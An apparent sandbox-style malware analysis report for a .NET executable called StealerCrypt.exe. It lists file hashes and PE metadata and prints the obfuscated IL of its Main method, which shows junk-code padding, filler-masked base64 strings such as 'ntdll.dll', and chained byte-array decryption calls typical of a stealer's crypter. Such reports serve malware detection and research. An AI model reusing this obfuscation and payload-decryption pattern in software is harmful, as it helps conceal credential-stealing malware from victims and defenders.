2cdbcdf52dbceeb00bbea178a2b1968e

PE Executable
|
MD5: 2cdbcdf52dbceeb00bbea178a2b1968e
|
Size: 627.71 KB
|
application/x-dosexec

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	2cdbcdf52dbceeb00bbea178a2b1968e
Sha1	54da98df4aecf92c3015bba991f5b0ceae5adc86
Sha256	1d6a54881c5c2cf4a712697ac4a91ae19f5a04de92ed652882c175fa2ce91bf2
Sha384	00b0aaac34cdc1f09eebaa39f7b50765a59e60d6b32c950eae6b6a58c53f41c8557417ad55406b101ed2c23a2764a740
Sha512	2ba055b5cf700872b1db87b5e9417b0868e37bd1b53dabc765c180a2767a0c3ee6db49d98939194350f26220b94156068b13511ec7a374f23815ac4b1b49a8ae
SSDeep	12288:hN4EFhD/fXyXSwV9y6Y24VMrjaICFzlnyndWx15JigCVAZxjGqiluVlv5V:3Z/fCiuiSUydmjigCwjGq6c
TLSH	5CD4127E313B1089D3DE463591817A1C219BA5F32406FBDE6D6C21DA87F84ED8F91B22

PeID

.NET executable

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual Studio .NET

File Structure

Informations

Name0	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	StealerCrypt.exe
Full Name	StealerCrypt.exe
EntryPoint	System.Void mMMjJlojPKQNFKtPvEWcBTDCRdTiNchVQHogVSZBAGTJzumrjVDgzDk::Main()
Scope Name	StealerCrypt.exe
Scope Type	ModuleDef
Kind	Console
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	StealerCrypt
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	43
Main Method	System.Void mMMjJlojPKQNFKtPvEWcBTDCRdTiNchVQHogVSZBAGTJzumrjVDgzDk::Main()
Main IL Instruction Count	1547
Main IL	call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bnJagtplLnnJagtplLRnJagtplLknJagtplLbnJagtplLGnJagtplLwnJagtplLunJagtplLZnJagtplLGnJagtplLxnJagtplLs ldstr nJagtplL ldstr callvirt System.String System.String::Replace(System.String,System.String) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Void cLDSEENxEffenaboWkNGClIaYGWnxeIauxDhLGHLmMQ::RAXYquFrwBcxvEKzYsYJOIaEWU(System.String) ldc.i4.s 90 stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> and <null> pop <null> ldc.i4.4 <null> stloc.1 <null> ldloc.1 <null> ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 90 stloc.2 <null> ldloc.2 <null> ldc.i4.1 <null> and <null> pop <null> ldc.i4 987654321 stloc.3 <null> ldc.i4 12345 stloc.s V_4 ldc.i4.s 90 stloc.s V_5 ldloc.s V_5 ldc.i4.1 <null> and <null> pop <null> ldc.i4 123456 stloc.s V_6 ldc.i4.0 <null> stloc.s V_7 ldc.i4.0 <null> stloc.s V_8 br.s IL_007E: ldloc.s V_8 ldloc.s V_7 ldloc.s V_8 add <null> stloc.s V_7 ldloc.s V_8 ldc.i4.1 <null> add <null> stloc.s V_8 ldloc.s V_8 ldc.i4.4 <null> blt.s IL_0071: ldloc.s V_7 ldc.i4.0 <null> stloc.s V_9 ldc.i4.0 <null> stloc.s V_10 br.s IL_0098: ldloc.s V_10 ldloc.s V_9 ldloc.s V_10 add <null> stloc.s V_9 ldloc.s V_10 ldc.i4.1 <null> add <null> stloc.s V_10 ldloc.s V_10 ldc.i4.3 <null> blt.s IL_008B: ldloc.s V_9 ldc.i4 -1515870811 stloc.s V_11 ldloc.s V_11 ldc.i4.3 <null> shl <null> ldloc.s V_11 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_12 ldc.i4 123456 stloc.s V_13 ldc.i4.s 123 stloc.s V_14 ldloc.s V_14 ldloc.s V_14 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_15 ldloc.s V_15 ldloc.s V_14 not <null> and <null> stloc.s V_16 ldc.i4 123456 stloc.s V_17 ldc.i4 -1515870811 stloc.s V_18 ldloc.s V_18 ldc.i4.3 <null> shl <null> ldloc.s V_18 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_19 ldc.i4.4 <null> stloc.s V_20 ldloc.s V_20 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 90 stloc.s V_21 ldloc.s V_21 ldc.i4.1 <null> and <null> pop <null> ldc.i4 12345 stloc.s V_22 ldc.i4.0 <null> stloc.s V_23 ldc.i4.0 <null> stloc.s V_24 br.s IL_0123: ldloc.s V_24 ldloc.s V_23 ldloc.s V_24 add <null> stloc.s V_23 ldloc.s V_24 ldc.i4.1 <null> add <null> stloc.s V_24 ldloc.s V_24 ldc.i4.3 <null> blt.s IL_0116: ldloc.s V_23 ldc.i4.1 <null> stloc.s V_25 br.s IL_0135: ldloc.s V_25 ldloc.s V_25 ldc.i4.1 <null> sub <null> stloc.s V_25 br.s IL_013A: ldstr "kernel32.dll" ldloc.s V_25 ldc.i4.0 <null> bgt.s IL_012D: ldloc.s V_25 ldstr kernel32.dll call System.Void cLDSEENxEffenaboWkNGClIaYGWnxeIauxDhLGHLmMQ::RAXYquFrwBcxvEKzYsYJOIaEWU(System.String) ldc.i4.s 100 stloc.s V_26 ldloc.s V_26 ldc.i4.1 <null> and <null> brtrue.s IL_015C: ldloc.s V_26 ldloc.s V_26 ldc.i4.2 <null> mul <null> stloc.s V_27 ldloc.s V_26 ldc.i4.2 <null> and <null> brfalse.s IL_0167: ldc.i4.0 br.s IL_0167: ldc.i4.0 ldloc.s V_26 ldc.i4.3 <null> mul <null> stloc.s V_28 ldloc.s V_26 ldc.i4.4 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_29 ldc.i4.0 <null> stloc.s V_30 br.s IL_017C: ldloc.s V_30 ldloc.s V_29 ldloc.s V_30 add <null> stloc.s V_29 ldloc.s V_30 ldc.i4.1 <null> add <null> stloc.s V_30 ldloc.s V_30 ldc.i4.3 <null> blt.s IL_016F: ldloc.s V_29 ldc.i4 123456 stloc.s V_31 ldc.i4.s 123 stloc.s V_32 ldloc.s V_32 ldloc.s V_32 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_33 ldloc.s V_33 ldloc.s V_32 not <null> and <null> stloc.s V_34 ldc.i4 123456 stloc.s V_35 ldc.i4 123456 stloc.s V_36 ldc.i4 -1515870811 stloc.s V_37 ldloc.s V_37 ldc.i4.3 <null> shl <null> ldloc.s V_37 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_38 ldc.i4.0 <null> stloc.s V_39 ldloc.s V_39 ldc.i4.1 <null> add <null> stloc.s V_39 ldc.i4 12345 stloc.s V_40 ldc.i4 987654321 stloc.s V_41 ldc.i4 11259375 stloc.s V_42 ldloc.s V_42 ldc.i4 1437226410 xor <null> stloc.s V_43 ldc.i4.s 90 stloc.s V_44 ldloc.s V_44 ldc.i4.1 <null> and <null> pop <null> ldc.i4 11259375 stloc.s V_45 ldloc.s V_45 ldc.i4 1437226410 xor <null> stloc.s V_46 ldc.i4.0 <null> stloc.s V_47 ldc.i4.0 <null> stloc.s V_48 br.s IL_0215: ldloc.s V_48 ldloc.s V_47 ldloc.s V_48 add <null> stloc.s V_47 ldloc.s V_48 ldc.i4.1 <null> add <null> stloc.s V_48 ldloc.s V_48 ldc.i4.3 <null> blt.s IL_0208: ldloc.s V_47 ldc.i4.0 <null> stloc.s V_49 ldloc.s V_49 ldc.i4.1 <null> add <null> stloc.s V_49 ldc.i4.0 <null> stloc.s V_50 ldloc.s V_50 ldc.i4.1 <null> add <null> stloc.s V_50 ldc.i4.0 <null> stloc.s V_51 ldc.i4.0 <null> stloc.s V_52 br.s IL_0241: ldloc.s V_52 ldloc.s V_51 ldloc.s V_52 add <null> stloc.s V_51 ldloc.s V_52 ldc.i4.1 <null> add <null> stloc.s V_52 ldloc.s V_52 ldc.i4.4 <null> blt.s IL_0234: ldloc.s V_51 ldc.i4.0 <null> stloc.s V_53 ldc.i4.0 <null> stloc.s V_54 br.s IL_026E: ldloc.s V_54 ldc.i4.0 <null> stloc.s V_55 br.s IL_0263: ldloc.s V_55 ldloc.s V_53 ldloc.s V_54 ldloc.s V_55 xor <null> add <null> stloc.s V_53 ldloc.s V_55 ldc.i4.1 <null> add <null> stloc.s V_55 ldloc.s V_55 ldc.i4.2 <null> blt.s IL_0253: ldloc.s V_53 ldloc.s V_54 ldc.i4.1 <null> add <null> stloc.s V_54 ldloc.s V_54 ldc.i4.2 <null> blt.s IL_024E: ldc.i4.0 ldc.i4.s 100 stloc.s V_56 ldloc.s V_56 ldc.i4.1 <null> and <null> brtrue.s IL_028B: ldloc.s V_56 ldloc.s V_56 ldc.i4.2 <null> mul <null> stloc.s V_57 ldloc.s V_56 ldc.i4.2 <null> and <null> brfalse.s IL_0296: ldc.i4 123456 br.s IL_0296: ldc.i4 123456 ldloc.s V_56 ldc.i4.3 <null> mul <null> stloc.s V_58 ldloc.s V_56 ldc.i4.4 <null> and <null> pop <null> ldc.i4 123456 stloc.s V_59 call System.Void cLDSEENxEffenaboWkNGClIaYGWnxeIauxDhLGHLmMQ::grNcZxuqimYGrotllwHQLDzQV() ldc.i4.0 <null> stloc.s V_60 ldc.i4.0 <null> stloc.s V_61 br.s IL_02B7: ldloc.s V_61 ldloc.s V_60 ldloc.s V_61 add <null> stloc.s V_60 ldloc.s V_61 ldc.i4.1 <null> add <null> stloc.s V_61 ldloc.s V_61 ldc.i4.4 <null> blt.s IL_02AA: ldloc.s V_60 ldc.i4.0 <null> stloc.s V_62 ldc.i4.0 <null> stloc.s V_63 br.s IL_02D1: ldloc.s V_63 ldloc.s V_62 ldloc.s V_63 add <null> stloc.s V_62 ldloc.s V_63 ldc.i4.1 <null> add <null> stloc.s V_63 ldloc.s V_63 ldc.i4.4 <null> blt.s IL_02C4: ldloc.s V_62 ldc.i4 987654321 stloc.s V_64 ldc.i4 11259375 stloc.s V_65 ldloc.s V_65 ldc.i4 1437226410 xor <null> stloc.s V_66 ldc.i4 12345 stloc.s V_67 ldc.i4 123456 stloc.s V_68 ldc.i4 987654321 stloc.s V_69 ldc.i4.0 <null> stloc.s V_70 ldc.i4.0 <null> stloc.s V_71 br.s IL_0318: ldloc.s V_71 ldloc.s V_70 ldloc.s V_71 add <null> stloc.s V_70 ldloc.s V_71 ldc.i4.1 <null> add <null> stloc.s V_71 ldloc.s V_71 ldc.i4.3 <null> blt.s IL_030B: ldloc.s V_70 ldc.i4 -1515870811 stloc.s V_72 ldloc.s V_72 ldc.i4.3 <null> shl <null> ldloc.s V_72 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_73 ldc.i4.0 <null> stloc.s V_74 ldc.i4.0 <null> stloc.s V_75 br.s IL_0345: ldloc.s V_75 ldloc.s V_74 ldloc.s V_75 add <null> stloc.s V_74 ldloc.s V_75 ldc.i4.1 <null> add <null> stloc.s V_75 ldloc.s V_75 ldc.i4.3 <null> blt.s IL_0338: ldloc.s V_74 ldc.i4 11259375 stloc.s V_76 ldloc.s V_76 ldc.i4 1437226410 xor <null> stloc.s V_77 ldc.i4 12345 stloc.s V_78 ldc.i4.0 <null> stloc.s V_79 ldc.i4.0 <null> stloc.s V_80 br.s IL_0377: ldloc.s V_80 ldloc.s V_79 ldloc.s V_80 add <null> stloc.s V_79 ldloc.s V_80 ldc.i4.1 <null> add <null> stloc.s V_80 ldloc.s V_80 ldc.i4.4 <null> blt.s IL_036A: ldloc.s V_79 ldc.i4.1 <null> stloc.s V_81 br.s IL_0389: ldloc.s V_81 ldloc.s V_81 ldc.i4.1 <null> sub <null> stloc.s V_81 br.s IL_038E: ldc.i4 11259375 ldloc.s V_81 ldc.i4.0 <null> bgt.s IL_0381: ldloc.s V_81 ldc.i4 11259375 stloc.s V_82 ldloc.s V_82 ldc.i4 1437226410 xor <null> stloc.s V_83 ldc.i4 -1515870811 stloc.s V_84 ldloc.s V_84 ldc.i4.3 <null> shl <null> ldloc.s V_84 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_85 ldc.i4 987654321 stloc.s V_86 ldc.i4 12345 stloc.s V_87 call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr aIXzRuxWIXzRux1IXzRuxvIXzRuxcIXzRuxGIXzRuxpIXzRuxVIXzRuxUIXzRuxUIXzRuxlIXzRuxyIXzRuxQIXzRux2IXzRuxNIXzRuxrIXzRuxeIXzRuxmIXzRuxtIXzRuxWIXzRuxZIXzRuxgIXzRux=IXzRux= ldstr IXzRux ldstr callvirt System.String System.String::Replace(System.String,System.String) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] kRekJyiUtOKDHUDvweGMFZOMgFkkQOjgQgtPYMQzKURnoaixnmFJm::OTMgHLVXcsqaUBFpGfxQGwTpIRRP(System.String) stloc.s V_88 ldc.i4.0 <null> stloc.s V_89 ldloc.s V_89 ldc.i4.1 <null> add <null> stloc.s V_89 ldc.i4.0 <null> stloc.s V_90 ldloc.s V_90 ldc.i4.1 <null> add <null> stloc.s V_90 ldc.i4 11259375 stloc.s V_91 ldloc.s V_91 ldc.i4 1437226410 xor <null> stloc.s V_92 ldc.i4.4 <null> stloc.s V_93 ldloc.s V_93 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 90 stloc.s V_94 ldloc.s V_94 ldc.i4.1 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_95 ldc.i4.0 <null> stloc.s V_96 br.s IL_0443: ldloc.s V_96 ldloc.s V_95 ldloc.s V_96 add <null> stloc.s V_95 ldloc.s V_96 ldc.i4.1 <null> add <null> stloc.s V_96 ldloc.s V_96 ldc.i4.3 <null> blt.s IL_0436: ldloc.s V_95 ldc.i4.0 <null> stloc.s V_97 ldc.i4.0 <null> stloc.s V_98 br.s IL_0470: ldloc.s V_98 ldc.i4.0 <null> stloc.s V_99 br.s IL_0465: ldloc.s V_99 ldloc.s V_97 ldloc.s V_98 ldloc.s V_99 xor <null> add <null> stloc.s V_97 ldloc.s V_99 ldc.i4.1 <null> add <null> stloc.s V_99 ldloc.s V_99 ldc.i4.2 <null> blt.s IL_0455: ldloc.s V_97 ldloc.s V_98 ldc.i4.1 <null> add <null> stloc.s V_98 ldloc.s V_98 ldc.i4.2 <null> blt.s IL_0450: ldc.i4.0 ldc.i4.0 <null> stloc.s V_100 ldc.i4.0 <null> stloc.s V_101 br.s IL_048A: ldloc.s V_101 ldloc.s V_100 ldloc.s V_101 add <null> stloc.s V_100 ldloc.s V_101 ldc.i4.1 <null> add <null> stloc.s V_101 ldloc.s V_101 ldc.i4.3 <null> blt.s IL_047D: ldloc.s V_100 ldc.i4 123456 stloc.s V_102 ldc.i4 987654321 stloc.s V_103 ldc.i4.4 <null> stloc.s V_104 ldloc.s V_104 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.0 <null> stloc.s V_105 ldc.i4.0 <null> stloc.s V_106 br.s IL_04DD: ldloc.s V_106 ldc.i4.0 <null> stloc.s V_107 br.s IL_04D2: ldloc.s V_107 ldloc.s V_105 ldloc.s V_106 ldloc.s V_107 xor <null> add <null> stloc.s V_105 ldloc.s V_107 ldc.i4.1 <null> add <null> stloc.s V_107 ldloc.s V_107 ldc.i4.2 <null> blt.s IL_04C2: ldloc.s V_105 ldloc.s V_106 ldc.i4.1 <null> add <null> stloc.s V_106 ldloc.s V_106 ldc.i4.2 <null> blt.s IL_04BD: ldc.i4.0 ldc.i4 11259375 stloc.s V_108 ldloc.s V_108 ldc.i4 1437226410 xor <null> stloc.s V_109 ldc.i4.0 <null> stloc.s V_110 ldc.i4.0 <null> stloc.s V_111 br.s IL_0508: ldloc.s V_111 ldloc.s V_110 ldloc.s V_111 add <null> stloc.s V_110 ldloc.s V_111 ldc.i4.1 <null> add <null> stloc.s V_111 ldloc.s V_111 ldc.i4.3 <null> blt.s IL_04FB: ldloc.s V_110 ldc.i4.s 123 stloc.s V_112 ldloc.s V_112 ldloc.s V_112 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_113 ldloc.s V_113 ldloc.s V_112 not <null> and <null> stloc.s V_114 ldc.i4.0 <null> stloc.s V_115 ldc.i4.0 <null> stloc.s V_116 br.s IL_054A: ldloc.s V_116 ldc.i4.0 <null> stloc.s V_117 br.s IL_053F: ldloc.s V_117 ldloc.s V_115 ldloc.s V_116 ldloc.s V_117 xor <null> add <null> stloc.s V_115 ldloc.s V_117 ldc.i4.1 <null> add <null> stloc.s V_117 ldloc.s V_117 ldc.i4.2 <null> blt.s IL_052F: ldloc.s V_115 ldloc.s V_116 ldc.i4.1 <null> add <null> stloc.s V_116 ldloc.s V_116 ldc.i4.2 <null> blt.s IL_052A: ldc.i4.0 ldc.i4 12345 stloc.s V_118 ldc.i4.0 <null> stloc.s V_119 ldc.i4.0 <null> stloc.s V_120 br.s IL_056B: ldloc.s V_120 ldloc.s V_119 ldloc.s V_120 add <null> stloc.s V_119 ldloc.s V_120 ldc.i4.1 <null> add <null> stloc.s V_120 ldloc.s V_120 ldc.i4.3 <null> blt.s IL_055E: ldloc.s V_119 ldc.i4.0 <null> stloc.s V_121 ldloc.s V_121 ldc.i4.1 <null> add <null> stloc.s V_121 ldloc.s V_88 call System.Byte[] JKRfRGVndvxxVNtcfVcvAtCWqbzsZBWNXVWLAtktkgg::CdpyFLWixbcXZVuWnog(System.Byte[]) stloc.s V_122 ldc.i4 123456 stloc.s V_123 ldc.i4.s 100 stloc.s V_124 ldloc.s V_124 ldc.i4.1 <null> and <null> brtrue.s IL_05A1: ldloc.s V_124 ldloc.s V_124 ldc.i4.2 <null> mul <null> stloc.s V_125 ldloc.s V_124 ldc.i4.2 <null> and <null> brfalse.s IL_05AC: ldc.i4.0 br.s IL_05AC: ldc.i4.0 ldloc.s V_124 ldc.i4.3 <null> mul <null> stloc.s V_126 ldloc.s V_124 ldc.i4.4 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_127 ldc.i4.0 <null> stloc.s V_128 br.s IL_05C1: ldloc.s V_128 ldloc.s V_127 ldloc.s V_128 add <null> stloc.s V_127 ldloc.s V_128 ldc.i4.1 <null> add <null> stloc.s V_128 ldloc.s V_128 ldc.i4.3 <null> blt.s IL_05B4: ldloc.s V_127 ldc.i4.s 123 stloc.s V_129 ldloc.s V_129 ldloc.s V_129 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_130 ldloc.s V_130 ldloc.s V_129 not <null> and <null> stloc.s V_131 ldc.i4.s 90 stloc.s V_132 ldloc.s V_132 ldc.i4.1 <null> and <null> pop <null> ldc.i4.s 90 stloc.s V_133 ldloc.s V_133 ldc.i4.1 <null> and <null> pop <null> ldc.i4 987654321 stloc.s V_134 ldc.i4.s 100 stloc.s V_135 ldloc.s V_135 ldc.i4.1 <null> and <null> brtrue.s IL_060C: ldloc.s V_135 ldloc.s V_135 ldc.i4.2 <null> mul <null> stloc.s V_136 ldloc.s V_135 ldc.i4.2 <null> and <null> brfalse.s IL_0617: ldc.i4.0 br.s IL_0617: ldc.i4.0 ldloc.s V_135 ldc.i4.3 <null> mul <null> stloc.s V_137 ldloc.s V_135 ldc.i4.4 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_138 ldc.i4.0 <null> stloc.s V_139 br.s IL_062C: ldloc.s V_139 ldloc.s V_138 ldloc.s V_139 add <null> stloc.s V_138 ldloc.s V_139 ldc.i4.1 <null> add <null> stloc.s V_139 ldloc.s V_139 ldc.i4.4 <null> blt.s IL_061F: ldloc.s V_138 ldc.i4.s 123 stloc.s V_140 ldloc.s V_140 ldloc.s V_140 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_141 ldloc.s V_141 ldloc.s V_140 not <null> and <null> stloc.s V_142 ldc.i4.s 100 stloc.s V_143 ldloc.s V_143 ldc.i4.1 <null> and <null> brtrue.s IL_065E: ldloc.s V_143 ldloc.s V_143 ldc.i4.2 <null> mul <null> stloc.s V_144 ldloc.s V_143 ldc.i4.2 <null> and <null> brfalse.s IL_0669: ldc.i4.s 100 br.s IL_0669: ldc.i4.s 100 ldloc.s V_143 ldc.i4.3 <null> mul <null> stloc.s V_145 ldloc.s V_143 ldc.i4.4 <null> and <null> pop <null> ldc.i4.s 100 stloc.s V_146 ldloc.s V_146 ldc.i4.1 <null> and <null> brtrue.s IL_0681: ldloc.s V_146 ldloc.s V_146 ldc.i4.2 <null> mul <null> stloc.s V_147 ldloc.s V_146 ldc.i4.2 <null> and <null> brfalse.s IL_068C: ldc.i4 123456 br.s IL_068C: ldc.i4 123456 ldloc.s V_146 ldc.i4.3 <null> mul <null> stloc.s V_148 ldloc.s V_146 ldc.i4.4 <null> and <null> pop <null> ldc.i4 123456 stloc.s V_149 ldc.i4.0 <null> stloc.s V_150 ldc.i4.0 <null> stloc.s V_151 br.s IL_06BB: ldloc.s V_151 ldc.i4.0 <null> stloc.s V_152 br.s IL_06B0: ldloc.s V_152 ldloc.s V_150 ldloc.s V_151 ldloc.s V_152 xor <null> add <null> stloc.s V_150 ldloc.s V_152 ldc.i4.1 <null> add <null> stloc.s V_152 ldloc.s V_152 ldc.i4.2 <null> blt.s IL_06A0: ldloc.s V_150 ldloc.s V_151 ldc.i4.1 <null> add <null> stloc.s V_151 ldloc.s V_151 ldc.i4.2 <null> blt.s IL_069B: ldc.i4.0 ldc.i4 -1515870811 stloc.s V_153 ldloc.s V_153 ldc.i4.3 <null> shl <null> ldloc.s V_153 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_154 ldc.i4.s 100 stloc.s V_155 ldloc.s V_155 ldc.i4.1 <null> and <null> brtrue.s IL_06EB: ldloc.s V_155 ldloc.s V_155 ldc.i4.2 <null> mul <null> stloc.s V_156 ldloc.s V_155 ldc.i4.2 <null> and <null> brfalse.s IL_06F6: ldc.i4.4 br.s IL_06F6: ldc.i4.4 ldloc.s V_155 ldc.i4.3 <null> mul <null> stloc.s V_157 ldloc.s V_155 ldc.i4.4 <null> and <null> pop <null> ldc.i4.4 <null> stloc.s V_158 ldloc.s V_158 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.4 <null> stloc.s V_159 ldloc.s V_159 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 987654321 stloc.s V_160 ldloc.s V_122 call System.Byte[] xpVVbbAeapSPHuppGdNcYjazqiblkiLTNy::lVkUkAtBzWpugEufJcZeB(System.Byte[]) stloc.s V_161 ldc.i4.0 <null> stloc.s V_162 ldloc.s V_162 ldc.i4.1 <null> add <null> stloc.s V_162 ldc.i4 987654321 stloc.s V_163 ldc.i4.0 <null> stloc.s V_164 ldloc.s V_164 ldc.i4.1 <null> add <null> stloc.s V_164 ldc.i4 987654321 stloc.s V_165 ldc.i4 -1515870811 stloc.s V_166 ldloc.s V_166 ldc.i4.3 <null> shl <null> ldloc.s V_166 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_167 ldc.i4.s 90 stloc.s V_168 ldloc.s V_168 ldc.i4.1 <null> and <null> pop <null> ldc.i4 987654321 stloc.s V_169 ldc.i4 11259375 stloc.s V_170 ldloc.s V_170 ldc.i4 1437226410 xor <null> stloc.s V_171 ldc.i4.1 <null> stloc.s V_172 br.s IL_0797: ldloc.s V_172 ldloc.s V_172 ldc.i4.1 <null> sub <null> stloc.s V_172 br.s IL_079C: ldc.i4.0 ldloc.s V_172 ldc.i4.0 <null> bgt.s IL_078F: ldloc.s V_172 ldc.i4.0 <null> stloc.s V_173 ldloc.s V_173 ldc.i4.1 <null> add <null> stloc.s V_173 ldc.i4.s 100 stloc.s V_174 ldloc.s V_174 ldc.i4.1 <null> and <null> brtrue.s IL_07BD: ldloc.s V_174 ldloc.s V_174 ldc.i4.2 <null> mul <null> stloc.s V_175 ldloc.s V_174 ldc.i4.2 <null> and <null> brfalse.s IL_07C8: ldc.i4.0 br.s IL_07C8: ldc.i4.0 ldloc.s V_174 ldc.i4.3 <null> mul <null> stloc.s V_176 ldloc.s V_174 ldc.i4.4 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_177 ldloc.s V_177 ldc.i4.1 <null> add <null> stloc.s V_177 ldc.i4.0 <null> stloc.s V_178 ldc.i4.0 <null> stloc.s V_179 br.s IL_07E6: ldloc.s V_179 ldloc.s V_178 ldloc.s V_179 add <null> stloc.s V_178 ldloc.s V_179 ldc.i4.1 <null> add <null> stloc.s V_179 ldloc.s V_179 ldc.i4.3 <null> blt.s IL_07D9: ldloc.s V_178 ldc.i4.s 123 stloc.s V_180 ldloc.s V_180 ldloc.s V_180 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_181 ldloc.s V_181 ldloc.s V_180 not <null> and <null> stloc.s V_182 ldc.i4 11259375 stloc.s V_183 ldloc.s V_183 ldc.i4 1437226410 xor <null> stloc.s V_184 ldc.i4.s 90 stloc.s V_185 ldloc.s V_185 ldc.i4.1 <null> and <null> pop <null> ldc.i4.s 90 stloc.s V_186 ldloc.s V_186 ldc.i4.1 <null> and <null> pop <null> ldc.i4 -1515870811 stloc.s V_187 ldloc.s V_187 ldc.i4.3 <null> shl <null> ldloc.s V_187 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_188 ldc.i4.s 90 stloc.s V_189 ldloc.s V_189 ldc.i4.1 <null> and <null> pop <null> ldloc.s V_161 call System.Byte[] BGdQxAsmiDGEGEunHSDfOPVetzPtsdzCIVojcMQcgwrwjeV::lHFTORpiNUsVZgtUNFRUialhqVbON(System.Byte[]) stloc.s V_190 ldc.i4 12345 stloc.s V_191 ldc.i4.4 <null> stloc.s V_192 ldloc.s V_192 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.0 <null> stloc.s V_193 ldc.i4.0 <null> stloc.s V_194 br.s IL_087C: ldloc.s V_194 ldloc.s V_193 ldloc.s V_194 add <null> stloc.s V_193 ldloc.s V_194 ldc.i4.1 <null> add <null> stloc.s V_194 ldloc.s V_194 ldc.i4.3 <null> blt.s IL_086F: ldloc.s V_193 ldc.i4.0 <null> stloc.s V_195 ldloc.s V_195 ldc.i4.1 <null> add <null> stloc.s V_195 ldc.i4.0 <null> stloc.s V_196 ldc.i4.0 <null> stloc.s V_197 br.s IL_089F: ldloc.s V_197 ldloc.s V_196 ldloc.s V_197 add <null> stloc.s V_196 ldloc.s V_197 ldc.i4.1 <null> add <null> stloc.s V_197 ldloc.s V_197 ldc.i4.3 <null> blt.s IL_0892: ldloc.s V_196 ldc.i4.0 <null> stloc.s V_198 ldc.i4.0 <null> stloc.s V_199 br.s IL_08B9: ldloc.s V_199 ldloc.s V_198 ldloc.s V_199 add <null> stloc.s V_198 ldloc.s V_199 ldc.i4.1 <null> add <null> stloc.s V_199 ldloc.s V_199 ldc.i4.3 <null> blt.s IL_08AC: ldloc.s V_198 ldc.i4.0 <null> stloc.s V_200 ldc.i4.0 <null> stloc.s V_201 br.s IL_08E6: ldloc.s V_201 ldc.i4.0 <null> stloc.s V_202 br.s IL_08DB: ldloc.s V_202 ldloc.s V_200 ldloc.s V_201 ldloc.s V_202 xor <null> add <null> stloc.s V_200 ldloc.s V_202 ldc.i4.1 <null> add <null> stloc.s V_202 ldloc.s V_202 ldc.i4.2 <null> blt.s IL_08CB: ldloc.s V_200 ldloc.s V_201 ldc.i4.1 <null> add <null> stloc.s V_201 ldloc.s V_201 ldc.i4.2 <null> blt.s IL_08C6: ldc.i4.0 ldc.i4.0 <null> stloc.s V_203 ldc.i4.0 <null> stloc.s V_204 br.s IL_0900: ldloc.s V_204 ldloc.s V_203 ldloc.s V_204 add <null> stloc.s V_203 ldloc.s V_204 ldc.i4.1 <null> add <null> stloc.s V_204 ldloc.s V_204 ldc.i4.4 <null> blt.s IL_08F3: ldloc.s V_203 ldc.i4.s 123 stloc.s V_205 ldloc.s V_205 ldloc.s V_205 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_206 ldloc.s V_206 ldloc.s V_205 not <null> and <null> stloc.s V_207 ldc.i4.4 <null> stloc.s V_208 ldloc.s V_208 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.4 <null> stloc.s V_209 ldloc.s V_209 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 12345 stloc.s V_210 ldc.i4 11259375 stloc.s V_211 ldloc.s V_211 ldc.i4 1437226410 xor <null> stloc.s V_212 ldc.i4.4 <null> stloc.s V_213 ldloc.s V_213 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 123 stloc.s V_214 ldloc.s V_214 ldloc.s V_214 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_215 ldloc.s V_215 ldloc.s V_214 not <null> and <null> stloc.s V_216 ldc.i4.s 90 stloc.s V_217 ldloc.s V_217 ldc.i4.1 <null> and <null> pop <null> ldc.i4 987654321 stloc.s V_218 ldc.i4.1 <null> stloc.s V_219 br.s IL_09AC: ldloc.s V_219 ldloc.s V_219 ldc.i4.1 <null> sub <null> stloc.s V_219 br.s IL_09B1: ldloc.s V_190 